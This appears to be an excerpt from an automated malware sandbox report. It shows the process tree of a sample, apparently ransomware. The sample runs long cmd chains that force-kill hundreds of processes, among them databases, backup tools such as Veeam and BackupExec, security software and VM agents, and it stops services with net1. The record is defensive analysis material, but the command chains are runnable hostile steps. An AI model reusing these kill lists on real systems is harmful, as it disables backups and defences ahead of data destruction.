@taskkill /IM Kingdee.DeskTool.exe /F & @taskkill /IM UserClient.exe /F & @taskkill /IM GNAupdaemon.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM ImtsEventSvr.exe /F & @taskkill /IM mysqld-nt.exe /F & @taskkill /IM 360EnterpriseDiskUI.exe /F & @taskkill /IM msmdsrv.exe /F & @taskkill /IM UpdateData.exe /F & @taskkill /IM WebApi.Host.exe /F & @taskkill /IM VGAuthService.exe /F & @taskkill /IM omtsreco.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM msdtc.exe /F & @taskkill /IM mmc.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM tomcat8.exe /F & @taskkill /IM QQprotect.exe /F & @taskkill /IM isqlplussvc.exe /F & @taskkill /IM nmesrvc.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM jusched.exe /F & @taskkill /IM MtxHotPlugService.exe /F & @taskkill /IM jucheck.exe /F & @taskkill /IM wordpad.exe /F & @taskkill /IM SecureCRT.exe /F & @taskkill /IM chrome.exe /F & @taskkill /IM Thunder.exe /F"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM sqlservr.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM httpd.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM java.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM fdhost.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM fdlauncher.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM reportingservicesservice.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM softmgrlite.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM sqlbrowser.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ssms.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM vmtoolsd.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM baidunetdisk.exe /F5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /IM yundetectservice.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ssclient.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM GNAupdaemon.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM RAVCp164.exe /F5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /IM igfxEM.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM igfxHK.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM igfxTray.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM 360bdoctor.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM GNCEFExternal.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM PrivacyIconClient.exe /F5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /IM UIODetect.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM AutoDealService.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM IDDAService.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM EnergyDataService.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM MPService.exe /F5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /IM TransMain.exe /F5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /IM DAService.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM GoogleCrashHandler.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM GoogleCrashHandler64.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM GoogleUpdate.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM cohernece.exe /F5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /IM vmware-tray.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM MsDtsSrvr.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM msmdsrv.exe /F5⤵
-
-
-
C:\Windows\system32\cmd.execmd /c "color e & @taskkill /IM ThunderPlatform.exe /F & @taskkill /IM iexplore.exe /F & @taskkill /IM vm-agent.exe /F & @taskkill /IM vm-agent-daemon.exe /F & @taskkill /IM eSightService.exe /F & @taskkill /IM cygrunsrv.exe /F & @taskkill /IM wrapper.exe /F & @taskkill /IM nginx.exe /F & @taskkill /IM node.exe /F & @taskkill /IM sshd.exe /F & @taskkill /IM vm-tray.exe /F & @taskkill /IM iempwatchdog.exe /F & @taskkill /IM sqlwriter.exe /F & @taskkill /IM php.exe /F & @taskkill /IM "notepad++.exe" /F & @taskkill /IM "phpStudy.exe" /F & @taskkill /IM OPCClient.exe /F & @taskkill /IM navicat.exe /F & @taskkill /IM SupportAssistAgent.exe /F & @taskkill /IM SunloginClient.exe /F & @taskkill /IM SOUNDMAN.exe /F & @taskkill /IM WeChat.exe /F & @taskkill /IM TXPlatform.exe /F & @taskkill /IM Tencentdll.exe /F & @taskkill /IM httpd.exe /F & @taskkill /IM jenkins.exe /F & @taskkill /IM QQ.exe /F & @taskkill /IM HaoZip.exe /F & @taskkill /IM HaoZipScan.exe /F & @taskkill /IM navicat.exe /F & @taskkill /IM TSVNCache.exe /F & @taskkill /IM RAVCpl64.exe /F & @taskkill /IM secbizsrv.exe /F & @taskkill /IM aliwssv.exe /F & @taskkill /IM Helper_Haozip.exe /F & @taskkill /IM acrotray.exe /F & @taskkill /IM "FileZilla Server Interface.exe" /F & @taskkill /IM YoudaoNote.exe /F & @taskkill /IM YNoteCefRender.exe /F & @taskkill /IM idea.exe /F & @taskkill /IM fsnotifier.exe /F & @taskkill /IM picpick.exe /F & @taskkill /IM lantern.exe /F & @taskkill /IM sysproxy-cmd.exe /F & @taskkill /IM service.exe /F & @taskkill /IM pcas.exe /F & @taskkill /IM PresentationFontCache.exe /F & @taskkill /IM RtWlan.exe /F & @taskkill /IM monitor.exe /F & @taskkill /IM Correspond.exe /F & @taskkill /IM ChatServer.exe /F & @taskkill /IM InetMgr.exe /F & @taskkill /IM LogonServer.exe /F & @taskkill /IM GameServer.exe /F & @taskkill /IM ServUAdmin.exe /F & @taskkill /IM ServUDaemon.exe /F & @taskkill /IM update0.exe /F & @taskkill /IM server.exe /F & @taskkill /IM w3wp.exe /F & @taskkill /IM notepad.exe /F & @taskkill /IM PalmInputService.exe /F & @taskkill /IM PalmInputGuard.exe /F & @taskkill /IM UpdateServer.exe /F & @taskkill /IM UpdateGate.exe /F & @taskkill /IM DBServer.exe /F & @taskkill /IM LoginGate.exe /F & @taskkill /IM SelGate.exe /F & @taskkill /IM RunGate.exe /F & @taskkill /IM M2Server.exe /F & @taskkill /IM LogDataServer.exe /F & @taskkill /IM LoginSrv.exe /F & @taskkill /IM sqlceip.exe /F & @taskkill /IM mqsvc.exe /F & @taskkill /IM RefundOrder.exe /F & @taskkill /IM ClamTray.exe /F & @taskkill /IM AdobeARM.exe /F & @taskkill /IM veeam.backup.shell.exe /F & @taskkill /IM VpxClient.exe /F & @taskkill /IM vmware-vmrc.exe /F & @taskkill /IM DSCPatchService.exe /F & @taskkill /IM scktsrvr.exe /F & @taskkill /IM ServerManager.exe /F & @taskkill /IM Dispatcher.exe /F & @taskkill /IM EFDispatcher.exe /F & @taskkill /IM sqlceip.exe /F & @taskkill /IM mqsvc.exe /F & @taskkill /IM RefundOrder.exe /F & @taskkill /IM ClamTray.exe /F & @taskkill /IM AdobeARM.exe /F & @taskkill /IM veeam.backup.shell.exe /F & @taskkill /IM VpxClient.exe /F & @taskkill /IM vmware-vmrc.exe /F & @taskkill /IM DSCPatchService.exe /F & @taskkill /IM scktsrvr.exe /F & @taskkill /IM ServerManager.exe /F & @taskkill /IM Dispatcher.exe /F & @taskkill /IM EFDispatcher.exe /F & @taskkill /IM ClamWin.exe /F & @taskkill /IM srvany.exe /F & @taskkill /IM JT_AG-8332.exe /F & @taskkill /IM XXTClient.exe /F & @taskkill /IM clean.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM "Net.Service.exe" /F & @taskkill /IM plsqldev.exe /F & @taskkill /IM splwow64.exe /F & @taskkill /IM Oobe.exe /F & @taskkill /IM QQYService.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM SGTool.exe /F & @taskkill /IM postgres.exe /F & @taskkill /IM AppVShNotify.exe /F & @taskkill /IM OfficeClickToRun.exe /F & @taskkill /IM EntDT.exe /F & @taskkill /IM EntPublish.exe /F"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM ThunderPlatform.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM iexplore.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM vm-agent.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM vm-agent-daemon.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM eSightService.exe /F5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /IM cygrunsrv.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM wrapper.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM nginx.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM node.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM sshd.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM vm-tray.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM iempwatchdog.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM sqlwriter.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM php.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM "notepad++.exe" /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM "phpStudy.exe" /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM OPCClient.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM navicat.exe /F5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /IM SupportAssistAgent.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM SunloginClient.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM SOUNDMAN.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM WeChat.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM TXPlatform.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Tencentdll.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM httpd.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM jenkins.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM QQ.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM HaoZip.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM HaoZipScan.exe /F5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /IM navicat.exe /F5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /IM TSVNCache.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM RAVCpl64.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM secbizsrv.exe /F5⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.execmd /c "color e & @taskkill /IM pg_ctl.exe /F & @taskkill /IM rcrelay.exe /F & @taskkill /IM SogouImeBroker.exe /F & @taskkill /IM CCenter.exe /F & @taskkill /IM ScanFrm.exe /F & @taskkill /IM d_manage.exe /F & @taskkill /IM RsTray.exe /F & @taskkill /IM wampmanager.exe /F & @taskkill /IM RavTray.exe /F & @taskkill /IM mssearch.exe /F & @taskkill /IM sqlmangr.exe /F & @taskkill /IM msftesql.exe /F & @taskkill /IM SyncBaseSvr.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM SyncBaseConsole.exe /F & @taskkill /IM aspnet_state.exe /F & @taskkill /IM AutoBackUpEx.exe /F & @taskkill /IM redis-server.exe /F & @taskkill /IM MySQLNotifier.exe /F & @taskkill /IM oravssw.exe /F & @taskkill /IM fppdis5.exe /F & @taskkill /IM His6Service.exe /F & @taskkill /IM dinotify.exe /F & @taskkill /IM JhTask.exe /F & @taskkill /IM Executer.exe /F & @taskkill /IM AllPassCBHost.exe /F & @taskkill /IM ap_nginx.exe /F & @taskkill /IM AndroidServer.exe /F & @taskkill /IM XT.exe /F & @taskkill /IM XTService.exe /F & @taskkill /IM AllPassMCService.exe /F & @taskkill /IM IMEDICTUPDATE.exe /F & @taskkill /IM FlashHelperService.exe /F & @taskkill /IM ap_redis-server.exe /F & @taskkill /IM UtilDev.WebServer.Monitor.exe /F & @taskkill /IM UWS.AppHost.Clr2.x86.exe /F & @taskkill /IM FoxitProtect.exe /F & @taskkill /IM ftnlses.exe /F & @taskkill /IM ftusbrdwks.exe /F & @taskkill /IM ftusbrdsrv.exe /F & @taskkill /IM ftnlsv.exe /F & @taskkill /IM Syslogd_Service.exe /F & @taskkill /IM UWS.HighPrivilegeUtilities.exe /F & @taskkill /IM ftusbsrv.exe /F & @taskkill /IM UWS.LowPrivilegeUtilities.exe /F & @taskkill /IM UWS.AppHost.Clr2.AnyCpu.exe /F & @taskkill /IM winguard_x64.exe /F & @taskkill /IM vmconnect.exe /F & @taskkill /IM UWS.AppHost.Clr2.x86.exe /F & @taskkill /IM firefox.exe /F & @taskkill /IM usbrdsrv.exe /F & @taskkill /IM usbserver.exe /F & @taskkill /IM Foxmail.exe /F & @taskkill /IM qemu-ga.exe /F & @taskkill /IM wwbizsrv.exe /F & @taskkill /IM ZTEFileTranS.exe /F & @taskkill /IM ZTEUsbIpc.exe /F & @taskkill /IM ZTEUsbIpcGuard.exe /F & @taskkill /IM AlibabaProtect.exe /F & @taskkill /IM kbasesrv.exe /F & @taskkill /IM ZTEVdservice.exe /F & @taskkill /IM MMRHookService.exe /F & @taskkill /IM extjob.exe /F & @taskkill /IM IpOverUsbSvc.exe /F & @taskkill /IM VMwareTray.exe /F & @taskkill /IM devenv.exe /F & @taskkill /IM PerfWatson2.exe /F & @taskkill /IM ServiceHub.Host.Node.x86.exe /F & @taskkill /IM ServiceHub.IdentityHost.exe /F & @taskkill /IM ServiceHub.VSDetouredHost.exe /F & @taskkill /IM ServiceHub.SettingsHost.exe /F & @taskkill /IM ServiceHub.Host.CLR.x86.exe /F & @taskkill /IM ServiceHub.RoslynCodeAnalysisService32.exe /F & @taskkill /IM ServiceHub.DataWarehouseHost.exe /F & @taskkill /IM Microsoft.VisualStudio.Web.Host.exe /F & @taskkill /IM SQLEXPRWT.exe /F & @taskkill /IM setup.exe /F & @taskkill /IM remote.exe /F & @taskkill /IM setup100.exe /F & @taskkill /IM landingpage.exe /F & @taskkill /IM WINWORD.exe /F & @taskkill /IM KuaiYun.exe /F & @taskkill /IM HwsHostPanel.exe /F & @taskkill /IM NovelSpider.exe /F & @taskkill /IM Service_KMS.exe /F & @taskkill /IM WebServer.exe /F & @taskkill /IM ChsIME.exe /F & @taskkill /IM btPanel.exe /F & @taskkill /IM Protect_2345Explorer.exe /F & @taskkill /IM Pic_2345Svc.exe /F & @taskkill /IM vmware-converter-a.exe /F & @taskkill /IM vmware-converter.exe /F & @taskkill /IM vmware.exe /F & @taskkill /IM vmware-unity-helper.exe /F & @taskkill /IM vmware-vmx.exe /F & @taskkill /IM vmware-vmx.exe /F & @taskkill /IM usysdiag.exe /F & @taskkill /IM PopBlock.exe /F & @taskkill /IM gsinterface.exe /F & @taskkill /IM Gemstar.Group.CRS.Client.exe /F & @taskkill /IM TenpayServer.exe /F & @taskkill /IM RemoteExecService.exe /F & @taskkill /IM VS_TrueCorsManager.exe /F & @taskkill /IM ntpsvr-2019-01-22-wgs84.exe /F & @taskkill /IM rtkjob-ion.exe /F & @taskkill /IM ntpsvr-2019-01-22-no-usrcheck.exe /F & @taskkill /IM NtripCaster-2019-01-08.exe /F & @taskkill /IM BACSTray.exe /F & @taskkill /IM protect.exe /F & @taskkill /IM hfs.exe /F & @taskkill /IM jzmis.exe /F & @taskkill /IM NewFileTime_x64.exe /F & @taskkill /IM 2345MiniPage.exe /F & @taskkill /IM JMJ_server.exe /F & @taskkill /IM cacls.exe /F & @taskkill /IM gpsdaemon.exe /F & @taskkill /IM gpsusersvr.exe /F & @taskkill /IM gpsdownsvr.exe /F & @taskkill /IM gpsstoragesvr.exe /F & @taskkill /IM gpsdataprocsvr.exe /F & @taskkill /IM gpsftpd.exe /F & @taskkill /IM gpsmysqld.exe /F & @taskkill /IM gpstomcat6.exe /F & @taskkill /IM gpsloginsvr.exe /F & @taskkill /IM gpsmediasvr.exe /F & @taskkill /IM gpsgatewaysvr.exe /F & @taskkill /IM gpssvrctrl.exe /F & @taskkill /IM zabbix_agentd.exe /F"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM pg_ctl.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamTransportSvc6⤵
-
-
-
C:\Windows\system32\taskkill.exetaskkill /IM rcrelay.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop OracleDBConsoleilas6⤵
-
-
-
C:\Windows\system32\taskkill.exetaskkill /IM SogouImeBroker.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM CCenter.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ScanFrm.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM d_manage.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM RsTray.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM wampmanager.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM RavTray.exe /F5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /IM mssearch.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM sqlmangr.exe /F5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /IM msftesql.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM SyncBaseSvr.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM oracle.exe /F5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /IM TNSLSNR.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM SyncBaseConsole.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM aspnet_state.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM AutoBackUpEx.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM redis-server.exe /F5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /IM MySQLNotifier.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM oravssw.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM fppdis5.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM His6Service.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM dinotify.exe /F5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /IM JhTask.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Executer.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM AllPassCBHost.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ap_nginx.exe /F5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /IM AndroidServer.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM XT.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM XTService.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM AllPassMCService.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM IMEDICTUPDATE.exe /F5⤵
-
-
-
C:\Windows\system32\cmd.execmd /c "color e & @taskkill /IM BackupExec.exe /F & @taskkill /IM Att.exe /F & @taskkill /IM mdm.exe /F & @taskkill /IM BackupExecManagementService.exe /F & @taskkill /IM bengine.exe /F & @taskkill /IM benetns.exe /F & @taskkill /IM beserver.exe /F & @taskkill /IM pvlsvr.exe /F & @taskkill /IM bedbg.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM RemoteAssistProcess.exe /F & @taskkill /IM BarMoniService.exe /F & @taskkill /IM GoodGameSrv.exe /F & @taskkill /IM BarCMService.exe /F & @taskkill /IM TsService.exe /F & @taskkill /IM GoodGame.exe /F & @taskkill /IM BarServerView.exe /F & @taskkill /IM IcafeServicesTray.exe /F & @taskkill /IM BsAgent_0.exe /F & @taskkill /IM ControlServer.exe /F & @taskkill /IM DisklessServer.exe /F & @taskkill /IM DumpServer.exe /F & @taskkill /IM NetDiskServer.exe /F & @taskkill /IM PersonUDisk.exe /F & @taskkill /IM service_agent.exe /F & @taskkill /IM SoftMemory.exe /F & @taskkill /IM BarServer.exe /F & @taskkill /IM RtkNGUI64.exe /F & @taskkill /IM Serv-U-Tray.exe /F & @taskkill /IM QQPCSoftTrayTips.exe /F & @taskkill /IM SohuNews.exe /F & @taskkill /IM Serv-U.exe /F & @taskkill /IM QQPCRTP.exe /F & @taskkill /IM EasyFZS.exe /F & @taskkill /IM HaoYiShi.exe /F & @taskkill /IM HysMySQL.exe /F & @taskkill /IM wtautoreg.exe /F & @taskkill /IM ispiritPro.exe /F & @taskkill /IM CAService.exe /F & @taskkill /IM XAssistant.exe /F & @taskkill /IM TrustCA.exe /F & @taskkill /IM GEUU20003.exe /F & @taskkill /IM CertMgr.exe /F & @taskkill /IM eSafe_monitor.exe /F & @taskkill /IM MainExecute.exe /F & @taskkill /IM FastInvoice.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM sesvc.exe /F & @taskkill /IM ScanFileServer.exe /F & @taskkill /IM Nuoadehgcgcd.exe /F & @taskkill /IM OpenFastAssist.exe /F & @taskkill /IM FastInvoiceAssist.exe /F & @taskkill /IM Nuoadfaggcje.exe /F & @taskkill /IM OfficeUpdate.exe /F & @taskkill /IM atkexComSvc.exe /F & @taskkill /IM FileTransferAgent.exe /F & @taskkill /IM MasterReplicatorAgent.exe /F & @taskkill /IM CrmAsyncService.exe /F & @taskkill /IM CrmAsyncService.exe /F & @taskkill /IM CrmUnzipService.exe /F & @taskkill /IM NscAuthService.exe /F & @taskkill /IM ReplicaReplicatorAgent.exe /F & @taskkill /IM ASMCUSvc.exe /F & @taskkill /IM OcsAppServerHost.exe /F & @taskkill /IM RtcCdr.exe /F & @taskkill /IM IMMCUSvc.exe /F & @taskkill /IM DataMCUSvc.exe /F & @taskkill /IM MeetingMCUSvc.exe /F & @taskkill /IM QmsSvc.exe /F & @taskkill /IM RTCSrv.exe /F & @taskkill /IM pnopagw.exe /F & @taskkill /IM NscAuth.exe /F & @taskkill /IM Microsoft.ActiveDirectory.WebServices.exe /F & @taskkill /IM DistributedCacheService.exe /F & @taskkill /IM c2wtshost.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Calculation.exe /F & @taskkill /IM schedengine.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Eventing.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Queuing.exe /F & @taskkill /IM WSSADMIN.EXE /F & @taskkill /IM hostcontrollerservice.exe /F & @taskkill /IM noderunner.exe /F & @taskkill /IM OWSTIMER.EXE /F & @taskkill /IM wsstracing.exe /F & @taskkill /IM mssearch.exe /F & @taskkill /IM MySQLInstallerConsole.exe /F & @taskkill /IM EXCEL.EXE /F & @taskkill /IM consent.exe /F & @taskkill /IM RtkAudioService64.exe /F & @taskkill /IM RAVBg64.exe /F & @taskkill /IM FNPLicensingService64.exe /F & @taskkill /IM VisualSVNServer.exe /F & @taskkill /IM MotionBoard57.exe /F & @taskkill /IM MotionBoardRCService57.exe /F & @taskkill /IM LPManService.exe /F & @taskkill /IM RaRegistry.exe /F & @taskkill /IM RaAutoInstSrv.exe /F & @taskkill /IM RtHDVCpl.exe /F & @taskkill /IM DefenderDaemon.exe /F & @taskkill /IM BestSyncApp.exe /F & @taskkill /IM ApUI.exe /F & @taskkill /IM AutoUpdate.exe /F & @taskkill /IM LPManNotifier.exe /F & @taskkill /IM FieldAnalyst.exe /F & @taskkill /IM TimingGenerate.exe /F & @taskkill /IM Detector.exe /F & @taskkill /IM Estimator.exe /F & @taskkill /IM FA_Logwriter.exe /F & @taskkill /IM TrackingSrv.exe /F & @taskkill /IM cbInterface.exe /F & @taskkill /IM EnterprisePortal.exe /F & @taskkill /IM ccbService.exe /F & @taskkill /IM monitor.exe /F & @taskkill /IM U8DispatchService.exe /F & @taskkill /IM dbsrv16.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM KICManager.exe /F & @taskkill /IM KICMain.exe /F & @taskkill /IM ServerManagerLauncher.exe /F & @taskkill /IM TbossGate.exe /F & @taskkill /IM iusb3mon.exe /F & @taskkill /IM MgrEnvSvc.exe /F & @taskkill /IM Mysoft.Config.WindowsService.exe /F & @taskkill /IM Mysoft.UpgradeService.UpdateService.exe /F & @taskkill /IM hasplms.exe /F & @taskkill /IM Mysoft.Setup.InstallService.exe /F & @taskkill /IM Mysoft.UpgradeService.Dispatcher.exe /F & @taskkill /IM Mysoft.DataCenterService.WindowsHost.exe /F & @taskkill /IM Mysoft.DataCenterService.DataCleaning.exe /F & @taskkill /IM Mysoft.DataCenterService.DataTracking.exe /F & @taskkill /IM Mysoft.SchedulingService.WindowsHost.exe /F & @taskkill /IM ServiceMonitor.exe /F & @taskkill /IM Mysoft.SchedulingService.ExecuteEngine.exe /F & @taskkill /IM AgentX.exe /F & @taskkill /IM host.exe /F & @taskkill /IM AutoUpdate.exe /F & @taskkill /IM vsjitdebugger.exe /F"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM BackupExec.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Att.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM mdm.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM BackupExecManagementService.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM bengine.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM benetns.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM beserver.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM pvlsvr.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM bedbg.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM beremote.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM beremote.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM beremote.exe /F5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /IM beremote.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM RemoteAssistProcess.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM BarMoniService.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM GoodGameSrv.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM BarCMService.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM TsService.exe /F5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /IM GoodGame.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM BarServerView.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM IcafeServicesTray.exe /F5⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /IM BsAgent_0.exe /F5⤵
-
-
